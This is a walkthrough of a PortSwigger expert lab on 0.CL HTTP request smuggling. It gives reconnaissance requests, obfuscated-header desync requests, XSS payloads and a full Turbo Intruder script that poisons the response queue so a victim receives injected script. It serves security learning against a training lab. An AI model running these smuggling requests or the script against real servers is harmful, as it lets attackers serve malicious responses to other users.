Introduction

This post is a walkthrough on how to solve the latest PortSwigger Expert Lab 0.CL HTTP request smuggling. The lab has been released together with the whitepaper HTTP/1.1 Must Die written by the Director of Research James Kettle. The main objective of the paper is to show that HTTP/1.1 needs to be deprecated in favor of HTTP/2+ for upstream connections. The paper highlights the cat and mouse game behind HTTP Request Smuggling vulnerabilities since many mitigations have been developed over the years, but none of them have completely fixed the issue root cause. Hence, HTTP Request Smuggling should be treated as a native web application vulnerability, because it directly comes with the HTTP/1.1 protocol and its features.

0.CL HTTP Request Smuggling

The 0.CL is a new innovative HTTP Request Smuggling technique presented in the whitepaper. The following steps summarize it:

  1. It is possible to hide the Content-Length HTTP header to the frontend, with known obfuscation techniques, and make it visible only to the backend. If the request does not have a body, this creates a deadlock situation where the backend is waiting for it and the frontend is waiting for the backend’s response.
  2. This scenario becomes exploitable with an early-response gadget on the backend. It is a request to a file for which the webserver immediately returns an HTTP response leaving the connection open.
  3. After creating the first desync with the step 1 and leaving the connection open with step 2, a further CL.0 desync is needed to craft a full exploit.

Reconnaissance

The first step to solve the lab is to check whether there is an Hidden-Visible (H-V) or Visible-Hidden (V-H) discrepancy. It can be done manually adding a new Host header to the request, obfuscating it and checking the responses. Start sending a request like the following:

POST / HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: dummy

0cl_image_0

The response seems coming from the frontend which does not recognize dummy as a valid Host header. Now, send the request:

POST / HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Xost: dummy

0cl_image_1

The response is 200 ignoring the malformed Xost header. Attempt to send a third request:

POST / HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host : dummy

0cl_image_3

The response comes from the backend confirming the request has passed the frontend adding a whitespace to Host :. Lastly, send:

POST / HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Xost : dummy

0cl_image_2

The response is still 200 ignoring the malformed Xost : header. There is an H-V scenario where the frontend does not see an HTTP header when it is obfuscated with a whitespace (Hidden) and the backend successfully parses it (Visible). The easiest smuggling technique to exploit an H-V case is CL.TE hiding the Transfer-Encoding header to the frontend. However, most signature-based detections are based on checking whether Content-Length and Transfer-Encoding are both in the request. This is where the new 0.CL technique enters the room since the Transfer-Encoding header is not needed to craft the exploit. Let’s hide the Content-Length to the frontend adding a whitespace before the semicolumn:

POST / HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Content-Length : 7

0cl_image_4

Notice a timeout is triggered, because a deadlock situation between the frontend and the backend has reached. An early-response gagdet is needed to move on and break the deadlock. For example, nginx immediately responds to an HTTP request for a static file leaving the connection open (early-response gadget). Assume the backend webserver is built on nginx, send the following request to perform a 0.CL desync and leave the connection open on the backend:

GET /resources/images/blog.svg HTTP/1.1
Host: <LAB>
Content-Length : 20

0cl_image_5

The response is 200 and the backend should have left the connection open. So, send another HTTP request to fill the previous request’s body and smuggle a second arbitrary request:

GET / HTTP/1.1
X: yGET /wrtz HTTP/1.1
Host: <LAB>

Pay attention at the first Content-Length set to 20 which covers the second request until the y character. Keep sending the two requests above in order, spamming a bit more the last one, until a 404 is returned due to the GET request to /wrtz showing that the response queue can be arbitrary controlled.

0cl_image_6

The first request generates a 0.CL desync which needs to be fully exploited with a further CL.0 desync in the second request. Indeed if a Content-Length header is added to the second request, the frontend will correctly process it and the backend will not see it since it will fill the first request’s body in the open connection left.

Solution 1

The lab is solved when the JavaScript function alert() is executed in the victim’s broswer. It has been noticed that all the HTTP requests for any blog post in the lab environment reflect the User-Agent in the DOM without any sanitization. This is known as Self-XSS and it is not directly exploitable. Perform the following request to verify the behavior:

GET /post?postId=6 HTTP/1.1
Host: <LAB>
User-Agent: test"><script>alert()</script>

0cl_image_14

An HTTP request smuggling exploit can be used to serve to the end user an arbitrary attacker-controlled response which, in this case, can contain the Self-XSS payload. In order to do so, the first request needs to trigger a 0.CL desync calling a static file to leave the connection open (early-response gadget quirk):

POST /resources/images/blog.svg HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 65

The second request is going to trigger a CL.0 desync to serve the Self-XSS payload in the response to the next user that performs an HTTP request:

GET /resources/images/blog.svg HTTP/1.1
Content-Length: 140
X: GET /wrtz HTTP/1.1
Host: <LAB>
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

GET /post?postId=6 HTTP/1.1
Host: <LAB>
User-Agent: test"><script>alert()</script>

The first Content-Length set to 65 exactly cut the second request before the GET /wrtz. If the victim browses the web app homepage after the second request, it will receive the response of the last smuggled request which returns the JavaScript code. The lab can be solved with a Turbo Intruder script that keep spamming the above two requests in order and hoping that the victim carlos performs the HTTP request to the homepage exactly after the second CL.0 request.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    host = '<LAB>'

    attack1 = '''POST /resources/images/blog.svg HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 65

'''

    attack2 = '''GET /resources/images/blog.svg HTTP/1.1
Content-Length: 123
X: GET /wrtz HTTP/1.1
Host: '''+host+'''
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

GET /post?postId=6 HTTP/1.1
Host: '''+host+'''
User-Agent: test"><script>alert()</script>

'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
Connection: close

'''

    while True:
        for x in range(7):
            engine.queue(attack1, label="attack1")
            engine.queue(attack2, label="attack2")
            #engine.queue(victim, label="victim")

def handleResponse(req, interesting):
    table.add(req)
    
    if req.label == 'attack2' and req.status == 404:
        req.label = 'CARLOS HIT PLEASE'

    if req.label == 'victim' and ('alert(' in req.response):
        req.label = 'SUCCESS'
        req.engine.cancel()

Let the script run for a while and check the lab homepage until it gets solved. The victim should get the malicious response after a request labelled as CARLOS HIT PLEASE.

0cl_image_13

The Turbo Intruder script can be used to simulate the victim request for debugging purposes simply uncommenting the line engine.queue(victim, label="victim").

0cl_image_10

Solution 2

Another way to achieve JavaScript code execute in the victim’s browser is by leveraging the HEAD technique. Perform an HEAD request such as:

HEAD /post/comment/confirmation?postId=6 HTTP/1.1
Host: <LAB>

0cl_image_7

Observe the Content-Length header is present in the HTTP response, but there is no body. If the HEAD request is successfully smuggled, the end user will perform a GET request and the response will be the HEAD response with the Content-Length header. So, the browser is going to wait for the response body and the next response in the queue will be seen as it. If that response contains JavaScript code, the browser will interpret it. A response that returns unsanitized JavaScript code can be a redirect like:

GET /resources?hh=<script>alert(1)</script> HTTP/1.1
Host: <LAB>

0cl_image_8

Let’s use the HEAD technique as the final request for the 0.CL+CL.0 exploit. The first request is going to trigger the 0.CL desync leaving the connection open (early-response gadget quirk):

POST /resources/images/blog.svg HTTP/1.1
Host: <LAB>
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 66

The second request is going to trigger the CL.0 desync and execute JavaScript code with the HEAD technique:

GET /resources/images/blog.svg HTTP/1.1
Content-Length: 3200
X: GET /wrtz HTTP/1.1
Host: <LAB>
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

HEAD /post/comment/confirmation?postId=6 HTTP/1.1
Host: <LAB>
Connection: keep-alive

GET /resources?hh=<script>alert(1)</script>AAAAA... HTTP/1.1
X: y

The first HEAD request returns a Content-Length set to 2667. So, the final JavaScript payload reflected by the last GET request has been padded with many A characters to avoid that other random responses are considered as the body of the HEAD response. The Turbo Intruder script is the same as Solution 1, but the attack1 and attack2 requests are changed as following:

    attack1 = '''POST /resources/images/blog.svg HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 66

'''

    attack2 = '''GET /resources/images/blog.svg HTTP/1.1
Content-Length: 1234
X: GET /wrtz HTTP/1.1
Host: '''+host+'''
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

HEAD /post/comment/confirmation?postId=6 HTTP/1.1
Host: '''+host+'''
Connection: keep-alive

GET /resources?hh=<script>alert(1)</script>'''+('A'*3000)+''' HTTP/1.1
X: y'''

Run the script simulating the victim request to find the JavaScript payload in the victim’s response.

0cl_image_9

Let the script run for a while without the victim request to solve the lab again.

Conclusion

The 0.CL techniques is very handy when an HTTP request smuggling attack is possible, but signature-based mitigations are present. Furthermore, the lab teaches about the early-response gadget quirk of nginx and the whitepaper shows that IIS behaves the same if Windows restricted files like con are requested over HTTP. Feel free to reach me out on Linkedin or Discord to further discuss HTTP Request Smuggling topic. Keep learning and happy hacking!